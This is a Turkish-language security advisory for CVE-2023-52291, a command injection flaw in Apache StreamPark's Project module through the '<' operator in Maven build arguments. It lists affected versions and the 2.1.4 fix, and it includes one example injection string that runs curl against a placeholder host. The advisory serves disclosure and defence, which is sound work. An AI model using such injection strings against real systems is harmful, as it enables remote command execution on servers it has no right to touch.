CVE-2023-52291
Açıklama
streampark içerisinde proje modülü, Maven'ın derleme yeteneklerini entegre eder. Giriş parametresi doğrulaması sıkı değildir ve saldırganların uzaktan komut çalıştırma için komutlar eklemesine izin verir. Başarılı bir saldırının ön koşulu, kullanıcının streampark sistemine giriş yapmış olması ve sistem düzeyinde izinlere sahip olmasıdır. Genellikle yalnızca bu sistemin kullanıcıları giriş yetkisine sahiptir ve kullanıcılar manuel olarak tehlikeli bir işlem komutu girmezler. Bu nedenle, bu güvenlik açığının risk seviyesi çok düşüktür. Arka Plan: "Project" modülünde, maven build args içerisindeki “<” operatörü komut enjeksiyonuna neden olur. Örneğin: “< (curl http://xxx.com )” ifadesi bir komut enjeksiyonu olarak yürütülecektir. Azaltma: Tüm kullanıcılar 2.1.4 sürümüne yükseltmelidir; "<" operatörü engellenecektir.
Nasıl düzeltilir
- apache streampark2.1.4 ya da sonraki bir sürüm
- org.apache.streampark:streampark2.1.4 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| apache streampark | 2.0.0 ≤ v < 2.1.4 | 2.1.4 |
| org.apache.streampark:streamparkMaven | v < 2.1.4 | 2.1.4 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.